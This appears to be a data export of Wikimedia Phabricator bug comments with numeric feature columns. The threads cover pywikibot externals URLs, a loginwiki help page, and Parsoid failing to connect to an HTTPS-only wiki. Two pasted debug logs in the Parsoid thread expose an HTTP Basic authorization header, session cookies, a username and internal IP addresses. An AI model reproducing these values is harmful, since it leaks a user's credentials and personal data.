2) a relative externals path, which breaks for people cloning from e.g. github, where the urls are not /pywikibot/externals/httplib2 but pywikibot-externals-httplib2

Would it help if we switch to git:// instead of https://?",,,1381580507,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,4.0,2.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,9.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,4.0,0.0,1.0,0.0,0.0,2.0,4.085365853658536,0.7439024390243902,"Basically, there are two options:
1) an absolute externals path, which always overrules the initial clone url -- this can be a problem for people who cannot clone over https.
2) a relative externals path, which breaks for people cloning from e.g. github, where the urls are not /pywikibot/externals/httplib2 but pywikibot-externals-httplib2

Would it help if we switch to git:// instead of URL"
57425,Add Help:Logging_in to loginwiki,"Add the login help page, so the login form doesn't have a redlink

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1381166760,1512836797.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-wso2tqfh6bhum3gedy7u,task_description,resolved,True,c2,3,True,False,False,5,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8,0.6857142857142857,"Add the login help page, so the login form doesn't have a redlink

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
979162,Add Help:Logging_in to loginwiki,"https://login.wikimedia.org/w/index.php?title=Special:UserLogin links to ""Help with logging in"" at https://www.mediawiki.org/wiki/Special:MyLanguage/Help:Logging_in

Not sure how and when that got fixed, but closing task as resolved.",,,1512836797,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c2,3,True,,,223,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,19.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,3.3703703703703702,0.9259259259259259,"URL links to ""Help with logging in"" at URL

Not sure how and when that got fixed, but closing task as resolved."
257844,Add Help:Logging_in to loginwiki,"I think so, except link the other help pages in the ""Why log in?"" section to either mw.o or meta, so we don't have to keep creating more and more Help pages.",,,1381246047,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,5.0,8.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,13.0,0.0,3.0,5.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,0.0,3.230769230769231,0.7948717948717948,"I think so, except link the other help pages in the ""Why log in?"" section to either mw.o or meta, so we don't have to keep creating more and more Help pages."
257837,Add Help:Logging_in to loginwiki,Do we just want https://www.mediawiki.org/wiki/Help:Logging_in importing?,,,1381244239,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wso2tqfh6bhum3gedy7u,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,Do we just want URL importing?
57369,Parsoid cannot connect to https-only host?,"Hi
When I run parsoid linked to a wiki which is https only, it doesn't work. This can be reproduced in any installation.

I set port 80 to be a redirect to port 443, and the parsoid URL is https://wiki.name/api.php in localsettings.js

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1381073520,1428267398.0,PHID-USER-vj2bbc63joi46qr5a5nq,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-xya74ryevlevdpyqmth6,task_description,resolved,True,c2,3,False,False,False,5,True,1.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,4.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,13.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,1.0,3.0,0.0,4.0,7.0,1.0,0.0,0.0,0.0,4.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7313432835820897,0.6567164179104478,"Hi
When I run parsoid linked to a wiki which is https only, it doesn't work. This can be reproduced in any installation.

I set port 80 to be a redirect to port 443, and the parsoid URL is URL in localsettings.js

--------------------------
**Version**: unspecified
**Severity**: enhancement"
438683,Parsoid cannot connect to https-only host?,"Shall we close this? I know that VE functions happily on wikitech.wikimedia.org now, which always uses HTTPS.",,,1428265426,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,True,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,10.0,10.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.65,1.0,"Shall we close this? I know that VE functions happily on wikitech.wikimedia.org now, which always uses HTTPS."
277835,Parsoid cannot connect to https-only host?,"I wanted to update this bug with my findings. I now have 1.23wmf7 and the latest builds of Parsoid and VisualEditor working happily with SSL as the default (and forced) connection method for users.

In my LocalSettings.php I have the following:

//Hook it up to Parsoid
$wgVisualEditorParsoidURL = 'http://my.site.com:8000';
 
$wgVisualEditorParsoidPrefix = 'localhost';


In localsettings.js I have:

parsoidConfig.setInterwiki('localhost' , 'http://my.site.com:81/w/api.php');

You can see that we're directing traffic over port 81 to allow Parsoid access.

The issue I was experiencing related to saving a page was due to having an older version (pre 1.9) of Semantic MediaWiki installed with 1.23.",,,1388082421,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,4.5,0.0,0.0,0.0,5.0,1.0,1.0,11.0,0.0,1.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.5,2.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,1.0,12.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,12.5,1.0,1.5,4.5,0.0,0.0,0.0,0.0,2.5,0.0,3.0,0.0,6.0,11.0,6.0,0.0,3.5,0.0,6.0,0.0,0.0,1.5,0.0,3.5,1.0,0.5,0.0,4.471070148489503,0.8003072196620584,"I wanted to update this bug with my findings. I now have 1.23wmf7 and the latest builds of Parsoid and VisualEditor working happily with SSL as the default (and forced) connection method for users.

In my LocalSettings.php I have the following:

//Hook it up to Parsoid
$wgVisualEditorParsoidURL = 'URL
 
$wgVisualEditorParsoidPrefix = 'localhost';


In localsettings.js I have:

parsoidConfig.setInterwiki('localhost' , 'URL

You can see that we're directing traffic over port 81 to allow Parsoid access.

The issue I was experiencing related to saving a page was due to having an older version (pre 1.9) of Semantic MediaWiki installed with 1.23."
277829,Parsoid cannot connect to https-only host?,"I've followed the troubleshooting guide and I'm still having issues connecting to a https-only host.

From the server I can run the following with success:

curl http://my.site.com:81/w/api.php

I opened port 81 to allow for http access to the api endpoint.

However I cannot seem to connect to Parsoid, the app in question. 

curl http://my.site.com:8000 returns the human-readable landing page for the Parsoid web service.

curl http://my.site.com:8000/localhost/Introduction

returns no message via the command line.

I can start Parsoid via node server.js

I can launch VisualEditor and edit a page normally, everything works.

server.js spits out the following:

starting parsing of localhost:Introduction
completed parsing of localhost:Introduction in 1660 ms

As soon as I go to save an edit, a small note appears under the Summary box.

Error: Unknown error.

server.js reports nothing


While Parsoid is running (node server.js) and I attempt the following

curl http://my.site.com:8000/localhost/Introduction

I see the message:

starting parsing of localhost:Introduction
redirected localhost:Introduction to revision 62067",,,1387213772,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,3.6666666666666665,0.6666666666666666,2.3333333333333335,8.333333333333334,0.6666666666666666,1.6666666666666667,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,5.333333333333333,1.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,6.0,0.3333333333333333,11.666666666666666,0.3333333333333333,1.0,6.333333333333333,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.0,0.0,3.6666666666666665,8.333333333333334,5.666666666666667,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,1.6666666666666667,0.0,3.3333333333333335,0.0,0.0,0.0,4.155624568668046,0.7115942028985508,"I've followed the troubleshooting guide and I'm still having issues connecting to a https-only host.

From the server I can run the following with success:

curl URL

I opened port 81 to allow for http access to the api endpoint.

However I cannot seem to connect to Parsoid, the app in question. 

curl URL returns the human-readable landing page for the Parsoid web service.

curl URL

returns no message via the command line.

I can start Parsoid via node server.js

I can launch VisualEditor and edit a page normally, everything works.

server.js spits out the following:

starting parsing of localhost:Introduction
completed parsing of localhost:Introduction in 1660 ms

As soon as I go to save an edit, a small note appears under the Summary box.

Error: Unknown error.

server.js reports nothing


While Parsoid is running (node server.js) and I attempt the following

curl URL

I see the message:

starting parsing of localhost:Introduction
redirected localhost:Introduction to revision 62067"
277820,Parsoid cannot connect to https-only host?,"I know it works, it's a workaround. I am hosting the site in a CentOS server, but despite the research I have done some time ago I couldn't install the certificate in the system root, so neither PHP and node.js see the certificate. 

I will try again now. Is there any documentation you know about this? (sorry if it's off-topic)",,,1386278143,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,7.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,12.0,4.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,3.0,11.0,4.0,4.0,13.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,12.0,9.0,1.0,1.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.6,0.7466666666666667,"I know it works, it's a workaround. I am hosting the site in a CentOS server, but despite the research I have done some time ago I couldn't install the certificate in the system root, so neither PHP and node.js see the certificate. 

I will try again now. Is there any documentation you know about this? (sorry if it's off-topic)"
277811,Parsoid cannot connect to https-only host?,"(In reply to comment #8)
> I am sorry, I can't pay for a real certificate. Is there a way to add my root
> certificate to Parsoid? Does it use the system certificates?
> 
> Or as a workaround, is there a way to permit self-signed authorities?

Your wiki actually works by setting the API URL to http://wiki.mc128k.info/api.php.

Nodejs uses openssl, so I'm guessing that you can install additional CA certs in /etc/ssl/certs/ (assuming you are using Debian).",,,1386277852,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,4.0,0.0,4.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,23.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,7.0,12.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.543859649122807,0.7894736842105263,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

Your wiki actually works by setting the API URL to URL

Nodejs uses openssl, so I'm guessing that you can install additional CA certs in /etc/ssl/certs/ (assuming you are using Debian)."
277803,Parsoid cannot connect to https-only host?,"I am sorry, I can't pay for a real certificate. Is there a way to add my root certificate to Parsoid? Does it use the system certificates?

Or as a workaround, is there a way to permit self-signed authorities?

Thanks.",,,1386273347,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,6.0,0.0,2.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,13.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,10.0,2.0,6.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.480769230769231,0.7307692307692307,"I am sorry, I can't pay for a real certificate. Is there a way to add my root certificate to Parsoid? Does it use the system certificates?

Or as a workaround, is there a way to permit self-signed authorities?

Thanks."
277794,Parsoid cannot connect to https-only host?,"Parsoid is only using HTTP, so trying to connect to it via HTTPS is going to fail. It can connect to MediaWiki using HTTPS though when configured to do so in localsetting.js. Please check the steps in https://www.mediawiki.org/wiki/Parsoid/Troubleshooting to make sure Parsoid is working.

> https://wiki.mc128k.info

Your SSL cert does not seem to be signed by a trusted CA, which likely explains your issue. Try with a signed SSL cert.",,,1386270337,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,1.0,3.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,19.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,5.0,15.0,12.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.8333333333333335,0.6923076923076923,"Parsoid is only using HTTP, so trying to connect to it via HTTPS is going to fail. It can connect to MediaWiki using HTTPS though when configured to do so in localsetting.js. Please check the steps in URL to make sure Parsoid is working.

QUOTE

Your SSL cert does not seem to be signed by a trusted CA, which likely explains your issue. Try with a signed SSL cert."
277787,Parsoid cannot connect to https-only host?,"Addition:
Changing $wgVisualEditorParsoidURL to 'https://my.wiki.com:8000'; results in a different error.

Error loading data from server: parsoidserver-http-curl-error: SSL connect error. Would you like to retry?


Headers below:

Start request POST /w/api.php
HTTP HEADERS:
HOST: my.wiki.com
CONNECTION: keep-alive
CONTENT-LENGTH: 60
AUTHORIZATION: Basic bWVtY2FjadGU6cGFzc3dvcmQ=
ACCEPT: application/json, text/javascript, */*; q=0.01
ORIGIN: https://my.wiki.com
X-REQUESTED-WITH: XMLHttpRequest
USER-AGENT: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
REFERER: https://my.wiki.com/w/index.php?title=Main_Page&veaction=edit
ACCEPT-ENCODING: gzip,deflate,sdch
ACCEPT-LANGUAGE: en-US,en;q=0.8
COOKIE: infoLoggedOut=1386191878; __utma=198203634.1203293077.1386191715.1386191715.1386191715.1; __utmc=198203634; __utmz=198203634.1386191715.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=4f15c368d4244cc2b9e72e06f65adc12; wikiEditor-0-booklet-characters-page=latin; wikiEditor-0-toolbar-section=advanced; vector-nav-p-Repository=true; vector-nav-p-tb=true
CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
LocalisationCache: using store LCStoreDB
Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
Parser: using preprocessor: Preprocessor_DOM
Connected to database 0 at lnxvmiptdbt01
Class UniversalLanguageSelectorHooks not found; skipped loading
Fully initialised
User: got user 378 from cache
User: loading options for user 378 from override cache.
User: logged in from session
ApiMain::setCacheMode: setting cache mode private
IP: 10.29.122.24",,,1386269909,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.25,0.0,0.25,3.75,0.0,0.0,0.0,0.0,0.5,0.25,0.0,0.0,0.0,0.25,0.5,1.0,5.25,0.0,0.75,0.0,0.0,0.25,0.5,0.0,0.0,0.25,0.0,0.25,0.0,0.5,1.0,0.0,0.0,0.25,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.75,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,17.5,0.0,0.0,0.25,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,0.5,5.25,13.0,0.25,2.75,0.0,0.5,0.0,0.0,0.25,0.0,1.75,0.0,0.25,0.75,4.914293922369765,0.5861210418794689,"Addition:
Changing $wgVisualEditorParsoidURL to 'URL results in a different error.

Error loading data from server: parsoidserver-http-curl-error: SSL connect error. Would you like to retry?


Headers below:

Start request POST /w/api.php
HTTP HEADERS:
HOST: my.wiki.com
CONNECTION: keep-alive
CONTENT-LENGTH: 60
AUTHORIZATION: Basic bWVtY2FjadGU6cGFzc3dvcmQ=
ACCEPT: application/json, text/javascript, */*; q=0.01
ORIGIN: URL
X-REQUESTED-WITH: XMLHttpRequest
USER-AGENT: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
REFERER: URL
ACCEPT-ENCODING: gzip,deflate,sdch
ACCEPT-LANGUAGE: en-US,en;q=0.8
COOKIE: infoLoggedOut=1386191878; __utma=198203634.1203293077.1386191715.1386191715.1386191715.1; __utmc=198203634; __utmz=198203634.1386191715.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=4f15c368d4244cc2b9e72e06f65adc12; wikiEditor-0-booklet-characters-page=latin; wikiEditor-0-toolbar-section=advanced; vector-nav-p-Repository=true; vector-nav-p-tb=true
CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
LocalisationCache: using store LCStoreDB
Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
Parser: using preprocessor: Preprocessor_DOM
Connected to database 0 at lnxvmiptdbt01
Class UniversalLanguageSelectorHooks not found; skipped loading
Fully initialised
User: got user 378 from cache
User: loading options for user 378 from override cache.
User: logged in from session
ApiMain::setCacheMode: setting cache mode private
IP: 10.29.122.24"
277780,Parsoid cannot connect to https-only host?,"I am experincing the same bug.

Attempting to evoke VisualEditor to edit any pages where we have redirected all traffic to https results in the error.


In the browser:
Error loading data from server:parsoidserver-hhtp-curl-error:
Empty reply from server. Would you like to retry?


Parsoid displays the following upon each attempt to edit a page (in this case Main Page):

ERROR in localhost:Main_Page
Stack trace: DoesNotExistError: Page Fetch failure for null
worker 20040 died, restarting.


MediaWiki logs show the following for the request:

Start request POST /w/api.php
HTTP HEADERS:
HOST: my.wiki.com
CONNECTION: keep-alive
CONTENT-LENGTH: 60
ACCEPT: application/json, text/javascript, */*; q=0.01
ORIGIN: https://my.wiki.com
X-REQUESTED-WITH: XMLHttpRequest
USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
REFERER: https://my.wiki.com/wiki/Main_Page?veaction=edit
ACCEPT-ENCODING: gzip,deflate,sdch
ACCEPT-LANGUAGE: en-US,en;q=0.8
COOKIE: __utma=198203634.575160840.1386267474.1386267474.1386267474.1; __utmb=198203634.2.10.1386267474; __utmc=198203634; __utmz=198203634.1386267474.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=7200a1cbfcef48ded410afb07850a6fc
CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
LocalisationCache: using store LCStoreDB
Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
Parser: using preprocessor: Preprocessor_DOM
Connected to database 0 at lnxvmipdbt01
Class UniversalLanguageSelectorHooks not found; skipped loading
Fully initialised
User: got user 378 from cache
User: loading options for user 378 from override cache.
User: logged in from session
ApiMain::setCacheMode: setting cache mode private
IP: 10.9.191.150",,,1386269124,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c2,3,False,,,14,True,0.75,0.0,0.25,0.0,0.25,3.0,0.0,0.0,0.0,0.0,1.25,0.0,0.0,0.0,0.0,0.75,1.25,1.0,7.5,0.0,1.25,0.0,0.0,0.25,0.5,0.0,0.0,0.0,0.0,0.25,0.0,1.25,1.25,0.0,0.25,0.25,0.0,0.0,0.25,0.75,0.0,0.0,0.0,1.25,0.0,0.0,0.0,0.0,0.0,18.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,1.75,0.25,19.25,0.5,0.0,2.75,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,1.0,7.5,14.25,0.25,2.5,0.0,1.0,0.0,0.25,0.25,0.0,2.0,0.0,0.25,0.5,4.841145833333334,0.6197916666666666,"I am experincing the same bug.

Attempting to evoke VisualEditor to edit any pages where we have redirected all traffic to https results in the error.


In the browser:
Error loading data from server:parsoidserver-hhtp-curl-error:
Empty reply from server. Would you like to retry?


Parsoid displays the following upon each attempt to edit a page (in this case Main Page):

ERROR in localhost:Main_Page
Stack trace: DoesNotExistError: Page Fetch failure for null
worker 20040 died, restarting.


MediaWiki logs show the following for the request:

Start request POST /w/api.php
HTTP HEADERS:
HOST: my.wiki.com
CONNECTION: keep-alive
CONTENT-LENGTH: 60
ACCEPT: application/json, text/javascript, */*; q=0.01
ORIGIN: URL
X-REQUESTED-WITH: XMLHttpRequest
USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
REFERER: URL
ACCEPT-ENCODING: gzip,deflate,sdch
ACCEPT-LANGUAGE: en-US,en;q=0.8
COOKIE: __utma=198203634.575160840.1386267474.1386267474.1386267474.1; __utmb=198203634.2.10.1386267474; __utmc=198203634; __utmz=198203634.1386267474.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=7200a1cbfcef48ded410afb07850a6fc
CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
LocalisationCache: using store LCStoreDB
Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
Parser: using preprocessor: Preprocessor_DOM
Connected to database 0 at lnxvmipdbt01
Class UniversalLanguageSelectorHooks not found; skipped loading
Fully initialised
User: got user 378 from cache
User: loading options for user 378 from override cache.
User: logged in from session
ApiMain::setCacheMode: setting cache mode private
IP: 10.9.191.150"
